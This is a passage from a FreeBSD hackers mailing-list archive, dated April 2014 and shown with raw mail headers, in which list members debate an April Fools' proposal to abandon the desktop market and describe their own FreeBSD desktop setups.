ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 3199FD51; Tue, 1 Apr 2014 18:59:41 +0000 (UTC) Received: by mail-ob0-f178.google.com with SMTP id wp18so11426289obc.37 for ; Tue, 01 Apr 2014 11:59:40 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=xwXraAotJCq8QoxZu0qjW8aCT6vU86yVCRGqhOag7To=; b=jcrCRFWZwQP4oMOG9NZeCT+AXMoObl8t3Ea3olE/sz68KzGo9sO/urwuG6yYRJ4IVJ Qf+w9yxqDVNpYekkgDyLT/PyuAyUcuPtPBVmOINdZdIxAQjABWZ8fvhTalb7CgNSp+m9 6xk7gQe17AnmTP9pmKORYXDk9HGFLubvdZeHZkQyeWJf52XDbGV1XG+t1/DCmpRPT4zS NcFa9tPs+CwXASps/uenhjay2E8vuQiCTSdD4n0HWVMSl8q1sPIsBapsNp6BwoFypafS jxAfCAUkWXX1srO+q5K+V9nSRjRv4llp5k/VdWpEgjNcOsrpaagPLpY9eN6LXwUCYjos vcwg== MIME-Version: 1.0 X-Received: by 10.182.195.11 with SMTP id ia11mr29683453obc.8.1396378780423; Tue, 01 Apr 2014 11:59:40 -0700 (PDT) Received: by 10.76.12.34 with HTTP; Tue, 1 Apr 2014 11:59:40 -0700 (PDT) In-Reply-To: References: Date: Tue, 1 Apr 2014 20:59:40 +0200 Message-ID: Subject: Re: Leaving the Desktop Market From: Andreas Nilsson To: Matt Olander X-Mailman-Approved-At: Tue, 01 Apr 2014 19:15:52 +0000 Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: Eitan Adler , "freebsd-hackers@freebsd.org" , current@freebsd.org, Jordan Hubbard , freebsd-advocacy@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 01 Apr 2014 18:59:41 -0000 On Tue, Apr 1, 2014 at 7:11 PM, Matt Olander wrote: > On Tue, Apr 1, 2014 at 12:11 AM, Jordan Hubbard > wrote: > > > > On Apr 1, 2014, at 10:46 AM, Eitan Adler wrote: > > > >> That is why on this date I propose that we cease competing on the > >> desktop market. FreeBSD should declare 2014 to be "year of the Linux > >> desktop" and start to rip out the pieces of the OS not needed for > >> server or embedded use. > >> > >> Some of you may point to PCBSD and say that we have a chance, but I > >> must ask you: how does one flavor stand up to the thousands in the > >> Linux world? > > > > The fact that this posting comes out on April 1st makes me wonder if > it's just an elaborate April Fool's joke, but then the notion of *BSD (or > Linux, for that matter) on the Desktop is just another long-running April > fool's joke, so I'm willing to postulate that two April Fools jokes would > simply cancel each other out and make this posting a serious one again. :-) > > > > I'll choose to be serious and say what I'm about to say in spite of the > fact that I work for the primary sponsor of PC-BSD and actually like the > fact that it has created some interesting technologies like PBIs, the Jail > Warden, Life-preserver and a ZFS boot environment menu. > > > > There is no such thing as a desktop market for *BSD or Linux. There > never has been and there never will be. Why do you think we chose "the > power to serve" as FreeBSD's first marketing slogan? It makes a fine > server OS and it's easy to defend its role in the server room. It's also > becoming easier to defend its role as an embedded OS, which is another > excellent niche to pursue and I am happy to see all the recent developments > there. > > > > A desktop? Unless you consider Mac OS X to be "BSD on the desktop" (and > while they share some common technologies, it's increasingly a stretch to > say that), it's just never going to happen for (at least) the following > reasons: > > As you may imagine, I completely disagree! The Internet just had it's > 20th birthday (it can't even drink yet!) and it's anyone's game. > > This is like trying to predict automobile technology and dominant > car-makers by 1905. There's always room for competition. Take a look > at what's happening right now in the auto-industry. Tesla came out of > nowhere 125 years after the invention of the automobile and is doing > pretty well. > > I bet there were a lot of people at Apple saying they couldn't compete > in the music-player market, or the mobile-phone market, etc. > > In fact, if I look at the stats on freenas.org, we have about 350k > visitors each month, with nearly 2% of them running FreeBSD and > clearly using it to surf the internet. Sounds like a market to me! > Seeing this I could not resist: http://windows.microsoft.com/en-US/windows/which-operating-system > > Long live the FreeBSD desktop, long live PC-BSD :P > Let them prosper! Seriously, though. There are shortcomings, sure. But I tend to prefer the rock solid feature rich base with a somewhat shaky desktop experience than the other alternatives. Sure I would like to see a FreeBSD pulseaudio compatible sound server. And perhaps a template library for pinout configs for snd-cards. And "native" flash, although I say "flash, no thank you" Perhaps companies such as Netflix could release FreeBSD clients ahead of linux clients ;) I can also say that I recently got a friend to migrate from linux on both his home server as well as his laptop. He is very happy with the change. Cheers Andreas > Cheers, > -matt > _______________________________________________ > freebsd-current@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-current > To unsubscribe, send any mail to "freebsd-current-unsubscribe@freebsd.org" > From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 1 19:49:28 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id AE32155D; Tue, 1 Apr 2014 19:49:28 +0000 (UTC) Received: from mail-la0-x236.google.com (mail-la0-x236.google.com [IPv6:2a00:1450:4010:c03::236]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id BBBEA243; Tue, 1 Apr 2014 19:49:27 +0000 (UTC) Received: by mail-la0-f54.google.com with SMTP id mc6so7456462lab.13 for ; Tue, 01 Apr 2014 12:49:25 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=TFoRg3WXlswQfHXs31wbYETTr4hSnoiELFkWapSyaEI=; b=TaHSlYpuxnzBUitnmK9iEh6Ry2FmDXXErA4xtmcDE3zCRrkHZ8RpulMQt2Q3SXRrKu VbWH1cFu+epRCL7GJN758BqVbly+AbVRVtE1wKSKDEsCqAQPogQIaDjQEyP2i3u5TMFV 2yFK6S2sE1cYd2wslFRn8iWI53CkRSsL3MUQyAkdr53Hhgu1p3d1VWkO2khz3BX87IO/ fUVYjO/+VljknbmTYBNknZbmmzxIGxSaen4Mdxj83q7oSp7IhotWx9XRbD0hzkfQ9iu5 APVIFhs4poVDxDlKSUYwbG+m75gjSlsiC2o/xWbZI6UR/2LVNauuZlDPzq5cN6O6Y3q6 ymaw== MIME-Version: 1.0 X-Received: by 10.112.50.194 with SMTP id e2mr22953006lbo.4.1396381765377; Tue, 01 Apr 2014 12:49:25 -0700 (PDT) Received: by 10.114.67.80 with HTTP; Tue, 1 Apr 2014 12:49:25 -0700 (PDT) In-Reply-To: References: Date: Tue, 1 Apr 2014 15:49:25 -0400 Message-ID: Subject: Re: Leaving the Desktop Market From: Brian Kim To: Andreas Nilsson Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: freebsd-advocacy@freebsd.org, current@freebsd.org, Eitan Adler , "freebsd-hackers@freebsd.org" , Matt Olander , Jordan Hubbard X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 01 Apr 2014 19:49:28 -0000 Hi all, I have been a member of the FreeBSD hackers mailing list for about a year.5 now and I must say that I was looking forward to this year's 4/1 email. Last year, I didn't even realize that the discussion of promoting i386 as a tier 1 architecture was a joke until someone blatantly mentioned in... To address the actual content of this thread, personally, I absolutely love the FreeBSD os and the community that supports it. However, even as a third year computer engineering student, I still have not overcome the overhead that comes with becoming familiar with the UNIX environment. Of course, that is mostly attributed to my laziness and my unwillingness to sit through an entire reading of documentation... To share an observation, I am a teaching assistant for a freshman C programming class and I recently set up three FreeBSD servers, one for each section, where students could learn to develop C programs in an actual UNIX environment. Here is the lecture that I wrote up to help them learn the basics: http://vecr.ece.villanova.edu/bk/fc/labs/docs/ece1620-l2unix.pdf. I led the first section yesterday and I have to say that it was an utter disaster. Only about 1/8th of the class showed even an ounce of interest in this stuff (as it was something extra and not required for the course) and I really f'ed up by trying to teach them how to use vi... Long live the BSD community! On Tue, Apr 1, 2014 at 2:59 PM, Andreas Nilsson wrote: > On Tue, Apr 1, 2014 at 7:11 PM, Matt Olander wrote: > > > On Tue, Apr 1, 2014 at 12:11 AM, Jordan Hubbard > > wrote: > > > > > > On Apr 1, 2014, at 10:46 AM, Eitan Adler wrote: > > > > > >> That is why on this date I propose that we cease competing on the > > >> desktop market. FreeBSD should declare 2014 to be "year of the Linux > > >> desktop" and start to rip out the pieces of the OS not needed for > > >> server or embedded use. > > >> > > >> Some of you may point to PCBSD and say that we have a chance, but I > > >> must ask you: how does one flavor stand up to the thousands in the > > >> Linux world? > > > > > > The fact that this posting comes out on April 1st makes me wonder if > > it's just an elaborate April Fool's joke, but then the notion of *BSD (or > > Linux, for that matter) on the Desktop is just another long-running April > > fool's joke, so I'm willing to postulate that two April Fools jokes would > > simply cancel each other out and make this posting a serious one again. > :-) > > > > > > I'll choose to be serious and say what I'm about to say in spite of the > > fact that I work for the primary sponsor of PC-BSD and actually like the > > fact that it has created some interesting technologies like PBIs, the > Jail > > Warden, Life-preserver and a ZFS boot environment menu. > > > > > > There is no such thing as a desktop market for *BSD or Linux. There > > never has been and there never will be. Why do you think we chose "the > > power to serve" as FreeBSD's first marketing slogan? It makes a fine > > server OS and it's easy to defend its role in the server room. It's also > > becoming easier to defend its role as an embedded OS, which is another > > excellent niche to pursue and I am happy to see all the recent > developments > > there. > > > > > > A desktop? Unless you consider Mac OS X to be "BSD on the desktop" > (and > > while they share some common technologies, it's increasingly a stretch to > > say that), it's just never going to happen for (at least) the following > > reasons: > > > > As you may imagine, I completely disagree! The Internet just had it's > > 20th birthday (it can't even drink yet!) and it's anyone's game. > > > > This is like trying to predict automobile technology and dominant > > car-makers by 1905. There's always room for competition. Take a look > > at what's happening right now in the auto-industry. Tesla came out of > > nowhere 125 years after the invention of the automobile and is doing > > pretty well. > > > > I bet there were a lot of people at Apple saying they couldn't compete > > in the music-player market, or the mobile-phone market, etc. > > > > In fact, if I look at the stats on freenas.org, we have about 350k > > visitors each month, with nearly 2% of them running FreeBSD and > > clearly using it to surf the internet. Sounds like a market to me! > > > > Seeing this I could not resist: > http://windows.microsoft.com/en-US/windows/which-operating-system > > > > > > Long live the FreeBSD desktop, long live PC-BSD :P > > > Let them prosper! > > Seriously, though. There are shortcomings, sure. But I tend to prefer the > rock solid feature rich base with a somewhat shaky desktop experience than > the other alternatives. > > Sure I would like to see a FreeBSD pulseaudio compatible sound server. And > perhaps a template library for pinout configs for snd-cards. And "native" > flash, although I say "flash, no thank you" > > Perhaps companies such as Netflix could release FreeBSD clients ahead of > linux clients ;) > > I can also say that I recently got a friend to migrate from linux on both > his home server as well as his laptop. He is very happy with the change. > > Cheers > Andreas > > > > > Cheers, > > -matt > > _______________________________________________ > > freebsd-current@freebsd.org mailing list > > http://lists.freebsd.org/mailman/listinfo/freebsd-current > > To unsubscribe, send any mail to " > freebsd-current-unsubscribe@freebsd.org" > > > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > -- Best Wishes, Brian Kim From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 1 19:59:39 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id AAFA5B11; Tue, 1 Apr 2014 19:59:39 +0000 (UTC) Received: from udns.ultimateDNS.NET (ultimatedns.net [209.180.214.225]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 7670E314; Tue, 1 Apr 2014 19:59:38 +0000 (UTC) Received: from udns.ultimateDNS.NET (localhost [127.0.0.1]) by udns.ultimateDNS.NET (8.14.5/8.14.5) with ESMTP id s31K2Q9C035445; Tue, 1 Apr 2014 13:02:32 -0700 (PDT) (envelope-from bsd-lists@bsdforge.com) Received: (from www@localhost) by udns.ultimateDNS.NET (8.14.5/8.14.5/Submit) id s31K2JX6035431; Tue, 1 Apr 2014 13:02:19 -0700 (PDT) (envelope-from bsd-lists@bsdforge.com) Received: from unavailable02.ultimatedns.net ([209.180.214.228]) (UDNSMS authenticated user chrish) by ultimatedns.net with HTTP; Tue, 1 Apr 2014 13:02:20 -0700 (PDT) Message-ID: <8958b27a5fb58409a5c738cbf7a4ef34.authenticated@ultimatedns.net> In-Reply-To: <09D177203C215546ACA94AF0459D4989EFF9DF@msxmbxnsprd18.acct.upmchs.net> References: <09D177203C215546ACA94AF0459D4989EFF9DF@msxmbxnsprd18.acct.upmchs.net> Date: Tue, 1 Apr 2014 13:02:20 -0700 (PDT) Subject: RE: Leaving the Desktop Market From: "Chris H" To: "Person, Roderick" User-Agent: UDNSMS/2.0.3 MIME-Version: 1.0 Content-Type: text/plain;charset=utf-8 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal Cc: "FreeBSD, Advocacy" , "hackers@freebsd.org" , "current@freebsd.org" , Jordan Hubbard , Randi Harper X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 01 Apr 2014 19:59:39 -0000 > -----Original Message----- >> From: owner-freebsd-advocacy@freebsd.org [mailto:owner-freebsd-advocacy@freebsd.org] On >> Behalf Of Randi Harper >> >>You know you opened a can of worms with that one. Because all the nerds are going to step >> up and say "Well, I run FreeBSD on my >desktop! It's totally viable!" >> >>Dear nerds, get some perspective. You aren't an end user, and you're masochistic. It's >> okay, we accept you here. But your individual >use case doesn't indicate a place in the >> market. Your basement isn't a market. It's a basement. Your small company isn't a market. >> It's a >small company. Many companies combined create a market. > > Why aren't all the nerds and small businesses out there a market? I'm no marketing expert > or anything, but it would seem that there is some kind of market out there that isn't being > catered to. I may be a masochist, but I refuse to have to pay Apples prices for their > hardware. They just seem insane to me. If they ever decided to sell OS X for non-Apple > hardware I might use it. OK. Now that I opened my big fat mouth, and made the mistake of involving myself earlier in this post before finishing my first of coffee. I'm already committed, so here goes... Can we take a look at advocacy for a moment? What defines it exactly? Is there better advocacy than another? What's the best advocacy? Is it contributing more $$ to the foundation? Is it contributing lines of code to the project? Is it putting a textual, or graphical link "the Power to Serve" on your web page? Is it telling everyone you know about how great FreeBSD is? I don't know. But just the other day, as I struggled with the [apparent] direction(s) FreeBSD was taking in the past few months. I began to reflect on the ~25yrs. of working with the code, and then (*)BSD itself. I realized that I spent no less than 75% of my waking hours in front of the tty. Almost all of which, was in some way related to FreeBSD. Much of it, was dedicated to installs. I calculate to this day, I have performed some 36,000 installs. At least 28,000 still running. Then it occurred to me; if that isn't the BEST form of advocacy, I don't know what is. Really. Think about it. So say what you will. Condemn, or patronize the misfits of society, the geeks, or geeky people. But know this; if it weren't for them, FreeBSD wouldn't be but some pie-in-the-sky ideal/dream. In some far away thought, or dream. For the record; I /don't/ live in my basement. I /do/ take showers. I own my home outright (2nd one, for the record). What's more, my current one was a complete renovation, which I performed myself. Masochistic? Maybe, but somebody has to pay the price, so others can reap the luxury. No? --Chris out... > > And just for the record I've been using FreeBSD as an exclusive home desktop since 1999. > > At work now so however Outlook mangles this is my fault :) > > > > > > Rod Person > Programmer > (412)454-2616 > > Just because it can been done, does not mean it should be done. > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 1 20:44:05 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 3E9F8F69; Tue, 1 Apr 2014 20:44:05 +0000 (UTC) Received: from ms-10.1blu.de (ms-10.1blu.de [178.254.4.101]) (using TLSv1 with cipher AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id EAC47A01; Tue, 1 Apr 2014 20:44:04 +0000 (UTC) Received: from [89.204.135.177] (helo=tiny-r255948) by ms-10.1blu.de with esmtpsa (TLS1.0:DHE_RSA_AES_256_CBC_SHA1:32) (Exim 4.76) (envelope-from ) id 1WV4hH-0001sW-E1; Tue, 01 Apr 2014 21:50:11 +0200 Received: from tiny-r255948 (localhost [127.0.0.1]) by tiny-r255948 (8.14.7/8.14.3) with ESMTP id s31Jo9nn001403; Tue, 1 Apr 2014 21:50:09 +0200 (CEST) (envelope-from guru@unixarea.de) Received: (from guru@localhost) by tiny-r255948 (8.14.7/8.14.3/Submit) id s31Jo7V8001402; Tue, 1 Apr 2014 21:50:07 +0200 (CEST) (envelope-from guru@unixarea.de) X-Authentication-Warning: tiny-r255948: guru set sender to guru@unixarea.de using -f Date: Tue, 1 Apr 2014 21:50:07 +0200 From: Matthias Apitz To: Lars Engels Subject: Re: Leaving the Desktop Market Message-ID: <20140401195006.GA1368@tiny-r255948> References: <20140401094044.GX44074@e-new.0x20.net> <083e01cf4db9$f8f4e040$eadea0c0$@FreeBSD.org> <20140401174302.GU44074@e-new.0x20.net> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <20140401174302.GU44074@e-new.0x20.net> X-Operating-System: FreeBSD 10.0-CURRENT r235646 (i386) User-Agent: Mutt/1.5.21 (2010-09-15) X-Con-Id: 51246 X-Con-U: 0-guru X-Originating-IP: 89.204.135.177 Cc: freebsd-advocacy@freebsd.org, current@freebsd.org, 'Eitan Adler' , hackers@freebsd.org, dteske@FreeBSD.org, 'Jordan Hubbard' X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: Matthias Apitz List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 01 Apr 2014 20:44:05 -0000 El día Tuesday, April 01, 2014 a las 07:43:02PM +0200, Lars Engels escribió: > > > > > That is why on this date I propose that we cease competing on the > > > > > desktop market. FreeBSD should declare 2014 to be "year of the > > [snip] > > > > > I'm a happy FreeBSD desktop user since 4.7. There are some edges, but I > > > really like that I can can create a desktop the way _I_ want it and my mail > > > client even allows me to break lines at 80 chars. Eat that, Apple Mail! ;-) > > > > What e-mail client do you use? Evolution? > > No, mutt, with vim as mail composer. :) +1 matthias (FreeBSD since 2.2.5 and sending this from an EeePC 900, netbook, UMTS connected, KDE4 desktop, sound, webcam, vim, mutt, sendmail, ...) -- Sent from my FreeBSD netbook Matthias Apitz, , http://www.unixarea.de/ f: +49-170-4527211 UNIX since V7 on PDP-11, UNIX on mainframe since ESER 1055 (IBM /370) UNIX on x86 since SVR4.2 UnixWare 2.1.2, FreeBSD since 2.2.5 From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 1 20:17:27 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 310B851A; Tue, 1 Apr 2014 20:17:27 +0000 (UTC) Received: from mx.waitman.net (mx.waitman.net [136.0.16.173]) by mx1.freebsd.org (Postfix) with ESMTP id 1C0A376F; Tue, 1 Apr 2014 20:17:26 +0000 (UTC) Received: by mx.waitman.net (Postfix, from userid 2) id 99177463A4; Tue, 1 Apr 2014 05:25:14 -0700 (PDT) Received: from 70.90.171.37 by mx.waitman.net with HTTP; Tue, 1 Apr 2014 05:25:14 -0700 Message-ID: Date: Tue, 1 Apr 2014 05:25:14 -0700 Subject: Re: Leaving the Desktop Market From: "Waitman Gobble" To: "Andreas Nilsson" User-Agent: SquirrelMail/1.5.2 [SVN] MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Mailman-Approved-At: Tue, 01 Apr 2014 21:06:37 +0000 Cc: freebsd-advocacy@freebsd.org, current@freebsd.org, Eitan Adler , "freebsd-hackers@freebsd.org" , Matt Olander , Jordan Hubbard X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: uzimac@da3m0n8t3r.com List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 01 Apr 2014 20:17:27 -0000 On Tue, April 1, 2014 11:59 am, Andreas Nilsson wrote: > On Tue, Apr 1, 2014 at 7:11 PM, Matt Olander wrote: > > >> On Tue, Apr 1, 2014 at 12:11 AM, Jordan Hubbard >> >> wrote: >> >>> >>> On Apr 1, 2014, at 10:46 AM, Eitan Adler >>> wrote: >>> >>> >>>> That is why on this date I propose that we cease competing on the >>>> desktop market. FreeBSD should declare 2014 to be "year of the >>>> Linux >>>> desktop" and start to rip out the pieces of the OS not needed for >>>> server or embedded use. >>>> >>>> Some of you may point to PCBSD and say that we have a chance, but I >>>> must ask you: how does one flavor stand up to the thousands in the >>>> Linux world? >>>> >>> >>> The fact that this posting comes out on April 1st makes me wonder if >>> >> it's just an elaborate April Fool's joke, but then the notion of *BSD >> (or >> Linux, for that matter) on the Desktop is just another long-running >> April >> fool's joke, so I'm willing to postulate that two April Fools jokes >> would simply cancel each other out and make this posting a serious one >> again. :-) >>> >>> I'll choose to be serious and say what I'm about to say in spite of >>> the >> fact that I work for the primary sponsor of PC-BSD and actually like >> the fact that it has created some interesting technologies like PBIs, >> the Jail Warden, Life-preserver and a ZFS boot environment menu. >> >>> >>> There is no such thing as a desktop market for *BSD or Linux. There >>> >> never has been and there never will be. Why do you think we chose >> "the >> power to serve" as FreeBSD's first marketing slogan? It makes a fine >> server OS and it's easy to defend its role in the server room. It's >> also becoming easier to defend its role as an embedded OS, which is >> another excellent niche to pursue and I am happy to see all the recent >> developments there. >>> >>> A desktop? Unless you consider Mac OS X to be "BSD on the desktop" >>> (and >>> >> while they share some common technologies, it's increasingly a stretch >> to say that), it's just never going to happen for (at least) the >> following reasons: >> >> >> As you may imagine, I completely disagree! The Internet just had it's >> 20th birthday (it can't even drink yet!) and it's anyone's game. >> >> >> This is like trying to predict automobile technology and dominant >> car-makers by 1905. There's always room for competition. Take a look at >> what's happening right now in the auto-industry. Tesla came out of >> nowhere 125 years after the invention of the automobile and is doing >> pretty well. >> >> I bet there were a lot of people at Apple saying they couldn't compete >> in the music-player market, or the mobile-phone market, etc. >> >> In fact, if I look at the stats on freenas.org, we have about 350k >> visitors each month, with nearly 2% of them running FreeBSD and clearly >> using it to surf the internet. Sounds like a market to me! >> > > Seeing this I could not resist: > http://windows.microsoft.com/en-US/windows/which-operating-system > > > >> >> Long live the FreeBSD desktop, long live PC-BSD :P >> >> > Let them prosper! > > > Seriously, though. There are shortcomings, sure. But I tend to prefer the > rock solid feature rich base with a somewhat shaky desktop experience > than the other alternatives. > > Sure I would like to see a FreeBSD pulseaudio compatible sound server. > And > perhaps a template library for pinout configs for snd-cards. And "native" > flash, although I say "flash, no thank you" > > Perhaps companies such as Netflix could release FreeBSD clients ahead of > linux clients ;) > > I can also say that I recently got a friend to migrate from linux on both > his home server as well as his laptop. He is very happy with the change. > > > Cheers > Andreas > > > > >> Cheers, >> -matt >> _______________________________________________ >> freebsd-current@freebsd.org mailing list >> http://lists.freebsd.org/mailman/listinfo/freebsd-current >> To unsubscribe, send any mail to >> "freebsd-current-unsubscribe@freebsd.org" >> >> > _______________________________________________ > freebsd-current@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-current > To unsubscribe, send any mail to "freebsd-current-unsubscribe@freebsd.org" > > re pulseaudio: I've had luck reading the raw PCM data from the /dev/dsp* devices, storing in postgres (bytea), then later playing back to /dev/dsp.. 'streaming' to another system (maybe pgsql as el intermedio?) would be pretty simple. In this scenario there is no Alsa requirement, which works for me :) -- Waitman Gobble San Jose California USA +1.510-830-7975 From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 1 22:09:17 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 2D7F4FA0; Tue, 1 Apr 2014 22:09:17 +0000 (UTC) Received: from burnttofu.net (burnttofu.net [IPv6:2607:fc50:1:9d00::9977]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client CN "burnttofu.net", Issuer "burnttofu.net" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id C66D9210; Tue, 1 Apr 2014 22:09:16 +0000 (UTC) Received: from sonicyouth.es.net (sonicyouth.es.net [IPv6:2001:400:14:1::117]) (authenticated bits=0) by burnttofu.net (8.14.8/8.14.5) with ESMTP id s31M9729061202 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NOT); Tue, 1 Apr 2014 18:09:08 -0400 (EDT) (envelope-from michael@rancid.berkeley.edu) Message-ID: <533B3903.7030307@rancid.berkeley.edu> Date: Tue, 01 Apr 2014 15:09:07 -0700 From: Michael Sinatra User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0 MIME-Version: 1.0 To: dteske@FreeBSD.org, "'Eitan Adler'" , hackers@freebsd.org, current@freebsd.org, freebsd-advocacy@freebsd.org Subject: Re: Leaving the Desktop Market References: <082a01cf4db9$240d3e90$6c27bbb0$@FreeBSD.org> In-Reply-To: <082a01cf4db9$240d3e90$6c27bbb0$@FreeBSD.org> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.4.3 (burnttofu.net [IPv6:2607:fc50:1:9d00::9977]); Tue, 01 Apr 2014 18:09:09 -0400 (EDT) X-Mailman-Approved-At: Tue, 01 Apr 2014 22:09:46 +0000 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 01 Apr 2014 22:09:17 -0000 On 04/01/2014 07:46, dteske@FreeBSD.org wrote: > Eitan, > > While I understand your frustration, VICOR is using FreeBSD as a Desktop since > FreeBSD 2.2. We don't use sound and we are fine relying on vesa. > > While I understand that the things you listed are actual short-comings for normal > Desktop users, I think it's the wrong decision to say that we should be backing > out *any* functionality that would make the Desktop any more difficult to > produce. > > As it stands, it would take me weeks just to count the number of workstations > that are running a GUI, rely on one of the existing video drivers (nv, radeon, > mach64, etc.) and use lots of Desktop ports. I have three FreeBSD desktops (one at work, one at home-office, and one for the usual messing around). They're all running 9.2, with Windows for Unix(TM)...uh, I mean KDE v4.12.3 as the GUI. Yes, I actually like KDE. I also have a machine at home running Debian Wheezy, also with KDE, and I have 2-3 mac devices that actually run MacOS (I have a few mac minis that run Free- and OpenBSD). The minis work exceptionally well as FreeBSD workstations. Each of the FreeBSD systems I have is my go-to workstation--it's where I do most of my work. Only if I can't do something (or don't want to run it on FreeBSD--e.g. Flash), do I use the Mac. The Debian box I just use for messing around--nothing serious. My home FreeBSD workstation has perfect sound, excellent graphics (nvidia), and I can even watch a lot of video using Firefox, since video is increasingly becoming HTML5-based. For me it "just works." The whole combination that makes up my environment can be challenging to keep up-to-date, but it's getting a lot easier with pkgng and portmaster. I would hate to see this stuff, which I find very useful, and helps me both at work and home, to be "ripped out" of the OS. I have been using FreeBSD on the desktop since 1997, when I had two workstations on my desk (FreeBSD and RedHat) and I let them duke it out to see who would win. FreeBSD won then, and even though I continue to keep a Linux desktop around for fun, FreeBSD still wins on the basis of usability, stability, security, etc. michael PS. My current KDE wallpaper for my work office machine is the Windows XP green hillside with blue sky background. It's giving people fits here. From owner-freebsd-hackers@FreeBSD.ORG Wed Apr 2 09:22:54 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 927D9EB7; Wed, 2 Apr 2014 09:22:54 +0000 (UTC) Received: from theravensnest.org (theraven.freebsd.your.org [216.14.102.27]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client CN "theravensnest.org", Issuer "theravensnest.org" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id 3A63BFA0; Wed, 2 Apr 2014 09:22:53 +0000 